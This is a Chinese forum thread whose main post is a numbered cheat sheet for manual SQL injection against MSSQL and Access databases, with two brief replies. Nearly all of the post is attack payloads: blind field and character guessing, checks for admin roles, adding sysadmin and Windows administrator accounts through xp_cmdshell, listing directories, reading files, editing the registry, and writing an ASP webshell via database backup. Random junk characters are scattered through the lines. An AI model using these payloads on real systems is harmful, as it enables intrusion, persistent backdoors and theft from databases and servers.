社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4089阅读
  • 2回复

手动方式SQL注入脚本命令

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
1.判断是否有注入;and 1=1 ;and 1=2 k\ZU%"^J  
  2.初步判断是否是mssql ;and user>0 s&DAO r!i  
;)sC{ "Jb  
  3.注入参数是字符'and [查询条件] and ''=' 5 L-6@@/  
zCu+Oi6  
  4.搜索时没过滤参数的'and [查询条件] and '%25'=' eEeK ] 8@  
gV'=u z v  
  5.判断数据库系统 7'@~TM  
wB<cW>6  
  ;and (select count(*) from sysobjects)>0 mssql {P%\& \{F  
("=24R=a  
  ;and (select count(*) from msysobjects)>0 access Cio (Ptt:  
t,kai6UM  
*O-m:M!eA  
yzXS{#\  
  6.猜数据库 ;and (select Count(*) from [数据库名])>0 fOk(ivYy  
|1T[P)Q  
  7.猜字段 ;and (select Count(字段名) from 数据库名)>0 0iz\<' p  
uFOYyrESc  
  8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 *4l6+#W  
e C&!yY2g  
  9.(1)猜字段的ascii值(access) K=dG-+B~}  
Cn>t"#zs!~  
  ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 \x"BgLSE  
<S0gIg`)  
  (2)猜字段的ascii值(mssql) $@[Mo   
p,\(j  
  ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ;|oem\dKv  
,LL=b-Es  
  10.测试权限结构(mssql) xJFxrG'c  
xB}B1H%  
YH-W{].  
4>]B8ZxH  
  ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- Qaiqx"x3  
hr g'Z5n  
  ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ;Udx|1o  
<In+V  
  ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- kB-<17  
m\K1Ex  
  ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- a%wa3N=v  
''.\DC~K  
  ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- QVD^p;b  
z~;@Mo"*f  
  ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- +@\=v}: F  
K!gocNOf  
  ;and 1=(select IS_MEMBER('db_owner'));-- t5S!j2E  
KU_""T  
85+w\KuEY  
ket"fXqJX  
  11.添加mssql和系统的帐户 U#4>GO;A  
a!;K+wL >  
  ;exec master.dbo.sp_addlogin username;-- DWU(ld:_  
  ;exec master.dbo.sp_password null,username,password;-- yuF\YOA9  
>W'"xK|:  
  ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- d*:J0J(  
$XFFNE`%  
  ;exec master.dbo.xp_cmdshell 'net user username password p{w;y6e  
,){WK|_  
  /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- d ewN\  
-nB. .q  
  ;exec master.dbo.xp_cmdshell 'net user username password /add';-- h9+ 7 6  
<{.pYrn  
  ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- H`T}k+e2-N  
wgZ6|)!0  
/tqe:*  
kyUG+M  
  12.(1)遍历目录 7nbaR~ZV  
4TaHS!9  
  ;create table dirs(paths varchar(100), id int) szy2"~hm  
{CGk9g" `  
  ;insert dirs exec master.dbo.xp_dirtree 'c:\' 'Y>@t6E4  
,^qHl+'  
  ;and (select top 1 paths from dirs)>0 w#;y  
SdJkno  
  ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) z-`4DlJUS  
8|rlP  
DXfQy6k'  
wPpern05  
  (2)遍历目录 3:gF4(.  
`W4Is~VVv  
  ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 6yMaW eT  
  ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 K)9f\1\  
V_T~5%9Fy  
  ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 qWI8 >my11  
*BQy$dfE  
  ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 Aj@t*3  
_;G|3>5u  
  ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 IHe?/oUL"b  
*GM.2``e  
;vgaFc]  
\B8[UZA.&  
  13.mssql中的存储过程 *0%G`Q  
nsi&r  
  xp_regenumvalues 注册表根键, 子键 f_ > lz  
eo4v[V&  
  ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 p 4lB#  
+InFv" wt  
  xp_regread 根键,子键,键值名 e:=+~F(f  
.OD{^Kq2  
  ;exec xp_regread ?/Z5%?6  
(APGz,^9#  
  'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值  6Xt c3  
1zY" Uxp  
  xp_regwrite 根键,子键, 值名, 值类型, 值 q]m$%>  
hu-6V="^9  
  值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 h) W|~y@  
lf2(h4[1R  
  ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 @86I|cY  
H`8}w{ft&  
  xp_regdeletevalue 根键,子键,值名 rh6m  
Ert` ]s~  
  exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 DgC;1U'  
W/<C$T4  
  xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 93y!x}  
rNX]tp{j  
Y/G~P,9  
 76EMS?e  
  14.mssql的backup创建webshell >3y:cPTM5  
GP=&S|hi  
  use model >66v+  
@Yh%.#\i%  
  create table cmd(str image); IVSd,AR7yY  
YW^sf,zQ  
  insert into cmd(str) values (''); %ZJ;>a#  
~.8p8\H  
  backup database model to disk='c:\l.asp'; 1Ozy;;\-9  
LT) G"U~  
]08 ~"p  
X h"8uJD  
  15.mssql内置函数 |ea}+N  
~Z x_"  
  ;and (select @@version)>0 获得Windows的版本号 P:v|JER   
zgA/B{DaC;  
  ;and user_name()='dbo' 判断当前系统的连接用户是不是sa of?'FrU  
X?q,m4+  
  ;and (select user_name())>0 爆当前系统的连接用户 O4Hc"v  
?-9It|R  
  ;and (select db_name())>0 得到当前连接的数据库 0o-KjX?kP  
qX!P:M  
p ^Dm w0y  
|1^ !rHg  
  16.简洁的webshell u6~/" _FwY  
K1^x+I7%U[  
  use model Py-}tFr  
x)^t5"F  
  create table cmd(str image); f hr QJ  
<>^otb,e$  
  insert into cmd(str) values (''); lAx^!#~\  
+(J{~A~  
  backup database model to disk='g:\wwwtest\l.asp';
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2006-08-31
这个和好人有关系吗?
级别: 经院博士
发帖
3975
铜板
4727
人品值
1147
贡献值
565
交易币
0
好评度
3833
信誉值
0
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-08-31
学习.......... 呵呵 我是好人
引用

引用
想找我?如果我即不在 石家庄经济学院论坛www.uebbs.net,也不在宿舍,那,我肯定是在去的路上

引用
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五